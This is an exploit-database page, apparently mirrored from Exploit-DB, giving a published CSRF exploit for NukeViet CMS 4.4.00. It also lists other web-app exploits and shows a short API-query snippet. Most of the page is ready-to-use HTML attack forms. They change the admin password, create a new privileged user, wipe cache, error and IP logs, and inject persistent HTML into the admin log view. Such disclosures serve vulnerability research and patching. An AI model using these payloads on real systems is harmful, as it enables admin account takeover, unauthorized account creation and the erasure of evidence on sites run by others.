Search for hundreds of thousands of exploits

"NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password)"

Author

Exploit author

JEBARAJ

Platform

Exploit platform

php

Release date

Exploit published date

2020-05-19

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
# Exploit Title: NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password)
# Date: 2020-05-18
# Exploit Author: JEBARAJ
# Vendor Homepage: https://nukeviet.vn/
# Software Link: https://github.com/nukeviet/nukeviet/releases/download/4.4.00/nukeviet4.4.00setup.zip
# Version: 4.4.00
# Tested on: Windows 10 Pro
# CVE : N/A
+---------------------------------------------------------------------------------------------------------------------------------------------------+

Description:
NukeViet CMS v4.4.00 suffer from Cross Site Request Forgery (CSRF) vulnerability.This Vulnerabilty lets attacker change profile details and password of the user without knowing thier old password. Create a new user with admin privileges. Delete Sensitive and other log files.

1. Changing password of Admin user and thier profile details

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=edit&userid=1" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="email" value="admin&#64;admin&#46;com" />
      <input type="hidden" name="first&#95;name" value="admin" />
      <input type="hidden" name="last&#95;name" value="" />
      <input type="hidden" name="gender" value="N" />
      <input type="hidden" name="birthday" value="07&#47;05&#47;1986" />
      <input type="hidden" name="sig" value="" />
      <input type="hidden" name="question" value="123" />
      <input type="hidden" name="answer" value="1234" />
      <input type="hidden" name="photo" value="" />
      <input type="hidden" name="group&#95;default" value="1" />
      <input type="hidden" name="password1" value="Admin123456" />
      <input type="hidden" name="password2" value="Admin123456" />
      <input type="hidden" name="confirm" value="1" />
      <input type="hidden" name="nv&#95;redirect" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2. Create new user.

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/nukeviet/admin/index.php?language=en&nv=users&op=user_add" method="POST">
      <input type="hidden" name="username" value="aaaaa" />
      <input type="hidden" name="email" value="aaaaaaa&#64;aaaaaaaaaa&#46;com" />
      <input type="hidden" name="password1" value="VeK8hsRYn9TRk7z" />
      <input type="hidden" name="password2" value="VeK8hsRYn9TRk7z" />
      <input type="hidden" name="first&#95;name" value="asdf" />
      <input type="hidden" name="last&#95;name" value="asdf" />
      <input type="hidden" name="gender" value="M" />
      <input type="hidden" name="birthday" value="01&#47;05&#47;1994" />
      <input type="hidden" name="sig" value="" />
      <input type="hidden" name="question" value="asdf" />
      <input type="hidden" name="answer" value="asdf" />
      <input type="hidden" name="photo" value="" />
      <input type="hidden" name="is&#95;official" value="1" />
      <input type="hidden" name="is&#95;email&#95;verified" value="1" />
      <input type="hidden" name="confirm" value="1" />
      <input type="hidden" name="nv&#95;redirect" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



3. Deleting Log files

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem" method="POST">
      <input type="hidden" name="check&#95;all&#91;&#93;" value="yes" />
      <input type="hidden" name="submit" value="Submit" />
      <input type="hidden" name="deltype&#91;&#93;" value="clearcache" />
      <input type="hidden" name="deltype&#91;&#93;" value="clearfiletemp" />
      <input type="hidden" name="deltype&#91;&#93;" value="clearerrorlogs" />
      <input type="hidden" name="deltype&#91;&#93;" value="clearip&#95;logs" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Persistent HTML injection via CSRF

Since the application has xss protection header it is hard to get an XSS. HTML injection is possible via unsanitized parameter passed to database and then displayed in Informations -> system logs tab on admin panel.

Vulnerable Source code:
clearsystem.php -> line 58 
nv_insert_logs(NV_LANG_DATA, $module_name, $lang_module['clearsystem'], implode(", ", $deltype), $admin_info['userid']);

There are many instances like this triggering to html injection.

P0c: htmlinjection.html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/nukeviet/admin/index.php?language=en&nv=webtools&op=clearsystem" method="POST">
      <input type="hidden" name="submit" value="Submit" />
      <input type="hidden" name="deltype&#91;&#93;" value="test&#58;<input&#32;type&#61;"text"&#47;>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Release DateTitleTypePlatformAuthor
2020-05-29"Crystal Shard http-protection 0.2.0 - IP Spoofing Bypass"webappsmultiple"Halis Duraki"
2020-05-29"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)"webappsphpUnD3sc0n0c1d0
2020-05-28"EyouCMS 1.4.6 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-28"NOKIA VitalSuite SPM 2020 - 'UserName' SQL Injection"webappsmultiple"Berk Dusunur"
2020-05-28"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution"webappsphpTh3GundY
2020-05-28"Online-Exam-System 2015 - 'fid' SQL Injection"webappsphp"Berk Dusunur"
2020-05-27"LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"osTicket 1.14.1 - 'Saved Search' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"Kuicms PHP EE 2.0 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-27"Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting"webappsphp"that faceless coder"
Release DateTitleTypePlatformAuthor
2020-05-29"WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)"webappsphpUnD3sc0n0c1d0
2020-05-28"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution"webappsphpTh3GundY
2020-05-28"Online-Exam-System 2015 - 'fid' SQL Injection"webappsphp"Berk Dusunur"
2020-05-28"EyouCMS 1.4.6 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-27"Kuicms PHP EE 2.0 - Persistent Cross-Site Scripting"webappsphp"China Banking and Insurance Information Technology Management Co."
2020-05-27"osTicket 1.14.1 - 'Saved Search' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"OXID eShop 6.3.4 - 'sorting' SQL Injection"webappsphpVulnSpy
2020-05-27"LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
2020-05-27"Online Marriage Registration System 1.0 - Persistent Cross-Site Scripting"webappsphp"that faceless coder"
2020-05-27"osTicket 1.14.1 - 'Ticket Queue' Persistent Cross-Site Scripting"webappsphp"Matthew Aberegg"
Release DateTitleTypePlatformAuthor
2020-05-19"NukeViet VMS 4.4.00 - Cross-Site Request Forgery (Change Admin Password)"webappsphpJEBARAJ
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48489/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.